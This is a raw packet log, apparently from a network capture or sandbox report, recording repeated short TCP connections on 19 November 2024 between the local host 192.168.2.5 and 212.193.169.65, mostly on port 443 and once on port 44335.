Nov 19, 2024 19:15:35.951889038 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.951913118 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.951940060 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.951948881 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.951976061 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.960608959 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.960640907 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.960800886 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.961260080 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.961268902 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.772974968 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.773101091 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.791446924 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.791466951 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.791892052 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.806375027 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.851321936 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.858262062 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.858273983 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.858448982 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.858520985 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.858552933 CET	443	50057	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:36.858596087 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:36.858711004 CET	50057	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:37.215600014 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:37.215637922 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:37.215720892 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:37.221467972 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:37.221477985 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.042412043 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.042484999 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.044265032 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.044285059 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.044544935 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.045113087 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.045780897 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.045789957 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.046499968 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.046634912 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.046664000 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.046685934 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.046685934 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.046696901 CET	443	50060	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.046736956 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.046736956 CET	50060	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.149996996 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.150028944 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.150090933 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.150475979 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.150484085 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.862123013 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.862184048 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.863481045 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.863487005 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.863724947 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.864304066 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.865010023 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.865025997 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.865119934 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.865144968 CET	443	50063	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.865163088 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.865180016 CET	50063	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.882225037 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.882257938 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:38.882318974 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.882802010 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:38.882810116 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.706357956 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.706522942 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.726891994 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.726922035 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.727217913 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.742821932 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.787334919 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.806945086 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.806945086 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.806960106 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.807234049 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.807274103 CET	443	50066	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.807346106 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.807346106 CET	50066	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.999500990 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:39.999536991 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:39.999671936 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.002969027 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.002985001 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.746141911 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.746206999 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.747812986 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.747823954 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.748078108 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.748817921 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.749406099 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.749435902 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.749520063 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.749538898 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.749567986 CET	443	50069	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.749591112 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.749619007 CET	50069	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.836599112 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.836633921 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:40.836719990 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.837279081 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:40.837301016 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.545928955 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.546000004 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.547400951 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.547408104 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.547650099 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.548544884 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.548607111 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.548676014 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.548707008 CET	443	50072	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.548775911 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.548789978 CET	50072	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.558646917 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.563632965 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:41.563746929 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.564213037 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:41.569025993 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.287178040 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.287343025 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.287349939 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.287439108 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.287700891 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.287894011 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.379555941 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.381089926 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.385905027 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.606199026 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.617264986 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.622153997 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.628726959 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.632170916 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.633697033 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.637339115 CET	44335	50075	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.637423038 CET	50075	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.871786118 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.871820927 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:42.871910095 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.872677088 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:42.872685909 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.736982107 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.737056971 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.738343000 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.738348007 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.738575935 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.739202976 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.739573956 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.739599943 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.739679098 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.739691019 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.739727974 CET	443	50078	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.739770889 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.739783049 CET	50078	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.749146938 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.749193907 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:43.749355078 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.749866962 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:43.749908924 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.551443100 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.551522017 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.553052902 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.553071022 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.553375959 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.554313898 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.554605961 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.554630995 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.554763079 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.554795980 CET	443	50081	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.554853916 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.554970026 CET	50081	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.705046892 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.705077887 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:44.705236912 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.705707073 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:44.705713987 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.497013092 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.497128010 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.498410940 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.498424053 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.498856068 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.501861095 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.511243105 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.511276960 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.511413097 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.511445999 CET	443	50084	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.511499882 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.511523008 CET	50084	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.524977922 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.525015116 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:45.525069952 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.525491953 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:45.525507927 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.398545980 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.398694992 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.400288105 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.400302887 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.400583029 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.401530027 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.403209925 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.403251886 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.403383017 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.403410912 CET	443	50087	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.403449059 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.403683901 CET	50087	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.439555883 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.439656019 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:46.439734936 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.440783024 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:46.440814972 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.243415117 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.243480921 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.244827986 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.244837999 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.245078087 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.245790005 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.246144056 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.246207952 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.246239901 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.246556044 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.246632099 CET	443	50090	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.246692896 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.246707916 CET	50090	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.262669086 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.262702942 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:47.262809038 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.263484001 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:47.263501883 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.071676016 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.071775913 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.073105097 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.073113918 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.073363066 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.073898077 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.074888945 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.074908972 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.075014114 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.075016022 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.075047016 CET	443	50093	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.075087070 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.075103045 CET	50093	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.162893057 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.162945032 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.163135052 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.163559914 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.163572073 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.961808920 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.961916924 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.963186026 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.963197947 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.963512897 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.964267015 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.964615107 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:48.964647055 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.964768887 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.964792967 CET	443	50096	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:48.964840889 CET	50096	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.060508013 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.060573101 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.060648918 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.062393904 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.062431097 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.872457981 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.872545004 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.884567022 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.884591103 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.884924889 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.885518074 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.886390924 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.886429071 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.886547089 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.886548042 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.886578083 CET	443	50099	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.886666059 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.886666059 CET	50099	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.946763992 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.946866989 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:49.946955919 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.947308064 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:49.947355986 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.743228912 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.743335962 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.744590044 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.744599104 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.744827986 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.745378971 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.746567965 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.746594906 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.746686935 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.746706963 CET	443	50102	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.746766090 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.746787071 CET	50102	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.823043108 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.823074102 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:50.823285103 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.823734045 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:50.823741913 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.570497036 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.570954084 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.571886063 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.571901083 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.572124004 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.573199987 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.573199987 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.573257923 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.573363066 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.573385954 CET	443	50105	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.573513985 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.573513985 CET	50105	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.581069946 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.581110001 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:51.581167936 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.581558943 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:51.581572056 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.435343027 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.435411930 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.436784029 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.436799049 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.437040091 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.437650919 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.438057899 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.438083887 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.438141108 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.438180923 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.438206911 CET	443	50108	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.438247919 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.438266039 CET	50108	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.446624994 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.446671009 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:52.446757078 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.447170973 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:52.447180033 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.162283897 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.162354946 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.163671017 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.163681984 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.163923025 CET	443	50111	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:53.164536953 CET	50111	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:53.166465998 CET	50111	443	192.168.2.5	212.193.169.65
